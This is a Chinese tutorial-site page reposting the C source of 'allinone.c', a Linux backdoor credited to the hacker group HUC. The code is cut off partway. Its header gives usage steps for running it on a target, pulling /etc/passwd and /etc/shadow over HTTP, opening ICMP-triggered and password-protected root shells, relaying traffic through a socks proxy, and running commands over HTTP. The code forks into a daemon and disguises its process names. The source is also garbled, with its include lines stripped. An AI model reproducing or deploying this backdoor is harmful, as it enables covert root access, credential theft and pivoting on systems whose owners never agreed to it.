教程中国
PHOTOSHOP CS9.0中文版 MAYA 8.5 FOR WINDOWS Corel Painter v9.0 Flash MX2004 中文版 Illustrator cs2 中文版
VC++6.0含sp6 中英文版 VB6.0 +sp6 简体中文版 Borland Delphi 7汉化版 MSDN for vb6.0中文版 Visual Studio 2005简体
教程中国下属 文件存储共享专家BIBIDU.COM 提供大型软件,教材,源码,电影,音乐,图书等下载 更多精品请点此进入
  您目前所在位置: 教程中国 >> Oracle >> 备份恢复 >> 一个多功能linux 后门的源代码 RSS订阅
一个多功能linux 后门的源代码
教程(视频,书籍)下载:  ASP.NET AutoCAD 数据库 C# ASP java photoshop 网页设计 delphi 3dmax Flash C++ VB 张孝祥 实例   更多请进入BIBIDU搜索
IT搜索引擎   

  /************************************************************************
  * allinone.c for HUC(2002)
  *
  * allinone.c is
  * a Http server,
  * a sockets transmit server,
  * a shell backdoor,
  * a icmp backdoor,
  * a bind shell backdoor,
  * a like http shell,
  * it can translate file from remote host,
  * it can give you a socks5 proxy,
  * it can use for to attack, jumps the extension, Visits other machines.
  * it can give you a root shell.:)
  *
  * Usage:
  * compile:
  * gcc -o allinone allinone.c -lpthread
  * run on target:
  * ./allinone
  *
  * 1.httpd server
  * Client:
  * http://target:8008/givemefile/etc/passwd
  * lynx -dump http://target:8008/givemefile/etc/shadow > shadow
  *
  * 2.icmp backdoor
  * Client:
  * ping -l 101 target (on windows)
  * ping -s 101 -c 4 target (on linux)
  * nc target 8080
  * kissme:) --> your password
  *
  * 3.shell backdoor
  * Client:
  * nc target 8008
  * kissme:) --> your password
  *
  * 4.bind a root shell on your port
  * Client:
  * http://target:8008/bindport:9999
  * nc target 9999
  * kissme:) --> your password
  *
  * 5.sockets transmit
  * Client:
  * http://target:8008/socks/:local listen port::you want to tran ip:::you want to tran port
  * http://target:8008/socks/:1080::192.168.0.1:::21
  * nc target 1080
  *
  * 6.http shell
  * Client:
  * http://target:8008/givemeshell:ls -al (no pipe)
  *
  * ps:
  * All bind shell have a passwd, default is: kissme:)
  * All bind shell will close, if Two minutes do not have the connection.
  * All bind shell only can use one time until reactivates.
  *
  *
  * Code by lion, e-mail: lion@cnhonker.net
  * Welcome to HUC, Http://www.cnhonker.net
  *
  * Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others)
  * Thx bkbll's Transmit code, and thx Neil,con,iceblood for test.
  *
  ************************************************************************/
  
  
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  
  
  #define HTTPD_PORT 8008
  #define BIND_PORT 8888
  #define ICMP_PORT 8080
  #define TRAN_PORT 1080
  #define SIZEPACK 101
  #define MAXSIZE 32768
  #define TIMEOUT 120
  #define CONNECT_NUMBER 1
  #define HIDEME "[login] "
  #define HIDEICMP "[su] "
  #define HIDEFILE "[bash] "
  #define GET_FILE "givemefile"
  #define SHELL_NAME "givemeshell"
  #define BIND_NAME "bindport"
  #define TRAN_NAME "socks"
  #define DISPART ":"
  #define DISPART1 "::"
  #define DISPART2 ":::"
  #define PASSWORD "kissme:)"
  #define MESSAGE "\r\n========Welcome to http://www.cnhonker.net========\r\n==========You get it, have a goodluck. :)=========\r\n\r\nYour command: \0"
  #define GIVEPASS "\r\nEnter Your password: \0"
  
  #define max(a, b) (a)>(b)?(a) : (b)
  
  int maxfd, infd, outfd;
  unsigned char ret_buf[32768];
  
  int daemon_init(); /* init the daemon, if success return 0 other <0 */
  void sig_chid(); /* wait the child die */
  int TCP_listen(); /* success return 1 else return -1 */
  char * read_file(); /* return the file content as a large string, buf value like GET /index.html HTTP:/1.1 */
  ssize_t writen_file(); /* writen data to socket */
  int bind_shell(); /* bind a root shell to a port */
  int get_shell(); /* get me the root shell */
  int icmp_shell(); /* icmp backdoor */
  int socks(); /* socks */
  int create_socket();
  int create_serv();
  int client_connect();
  int quit();
  void out2in();
  char x2c(); /* http shell */
  void unescape_url();
  void plustospace();
  
  
  /* The main function from here */
  int main(int argc, char *argv[])
  {
  int fd, len, i, icmp;
  int csocket;
  struct sockaddr_in caddr;
  char readstr[4000];
  char *cbuf;
  pid_t pid;
  
  /* make it to a daemon */
  /*signal(SIGHUP, SIG_IGN);*/
  signal(SIGCHLD, sig_chid);
  daemon_init();
  
  if((pid = fork()) == -1) exit(0);
  if(pid <= 0)
  {
  strcpy(argv[0], HIDEICMP);
  icmp_shell();
  }
  
  fd = TCP_listen(HTTPD_PORT);
  if(fd <= 0) return -1;
  
  for(;;)
  {
   strcpy(argv[0], HIDEME);
  
  /* check httpd */
  len = sizeof(caddr);
   if((csocket = accept(fd, &caddr, &len)) < 0) continue;
   if((pid = fork()) == -1) continue;
   if(pid <= 0)
  {
  strcpy (argv[0], HIDEFILE);
  i = recv(csocket, readstr, 4000,0);
   if (i == -1) break;
   if( readstr[ i -1 ] != '\n' ) break;
   readstr = '\0';
  /*printf("Read from client: %s \n", readstr);*/
  cbuf = read_file(readstr, csocket);
  close(csocket);
  }
  close(csocket);
  }
  close(fd);
  return(1);
  }
  
  
  /* init the daemon, if success return 0 other <0 */
  int daemon_init()
  {
  struct sigaction act;
  int i, maxfd;
  
  if(fork() != 0) exit(0);
  if(setsid() < 0) return(-1);
  
  act.sa_handler = SIG_IGN;
  /*act.sa_mask = 0;*/
  act.sa_flags = 0;
  
  sigaction(SIGHUP, &act, 0);
  
  if(fork() != 0) exit(0);
  
  chdir("/");
  umask(0);
  maxfd = sysconf(_SC_OPEN_MAX);
  for(i=0; i  close(i);
  open("/dev/null", O_RDWR);
  dup(0);
  dup(1);
  dup(2);
  return(0);
  }
  
  
  /* wait the child die */
  void sig_chid(int signo)
  {
  pid_t pid;
  int stat;
  while((pid = waitpid(-1, &stat, WNOHANG))>0);
  printf("children %d died\n", pid);
  return;
  }
  
  /* success return 1 else return -1 */
  int TCP_listen(int port)
  {
  struct sockaddr_in laddr ;
  int fd;
  socklen_t len ;
  fd = socket(AF_INET, SOCK_STREAM, 0);
  len = sizeof(laddr) ;
   memset(&laddr, 0, len) ;
   laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
   laddr.sin_family = AF_INET ;
   laddr.sin_port = htons(port) ;
   if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1);
   if(listen(fd, 5)) return(-1);
  return(fd);
  }
  
  /* http server */
  char * read_file(char *buf, int fd)
  {
  char *erro=
  "Content-type: text/html\n\n"
  "HTTP/1.1 404 Not Found\n"
  "Date: Mon, 14 Jan 2002 03:19:55 GMT\n"
  "Server: Apache/1.3.22 (Unix)\n"
  "Connection: close\n"
  "Content-Type: text/html\n\n"
  "\n"
  "\n"
  "<

来源:upschool.com.cn
作者:
关键字:多功能linux,后门,源代码
发表日期:2007-1-6 0:42:35

网页显示有限 阅读全文请下载本文完整版WORD文档

上一篇:Linux环境下黑客常用嗅探器分析   下一篇:改变linux终端颜色


2008-12-3 7:06:49
本文的相类似文章
  • IRC后门病毒及手动清除方法
  • 蠕虫病毒伪装屏幕保护开黑客后门
  • 后门不断连黑客主机 QQ木马增多
  • 后门病毒迎黑客 QQ病毒干扰用户
  • 后门病毒开放端口 传奇木马增多
  • 病毒通过IRC传播并留给黑客后门
  • 能够自动在线更新的后门病毒!
  • 在系统中留后门并自动传播的病毒
  • ORACLE自带的JDBC源代码解析
  • oracle热备份和恢复自动产生sql源代码
  • 在学习中进步 在进步中成长 教程中国相随您的成长之路
    华腾联合科技股份有限公司版权所有
    广告联系:Rosibo@163.com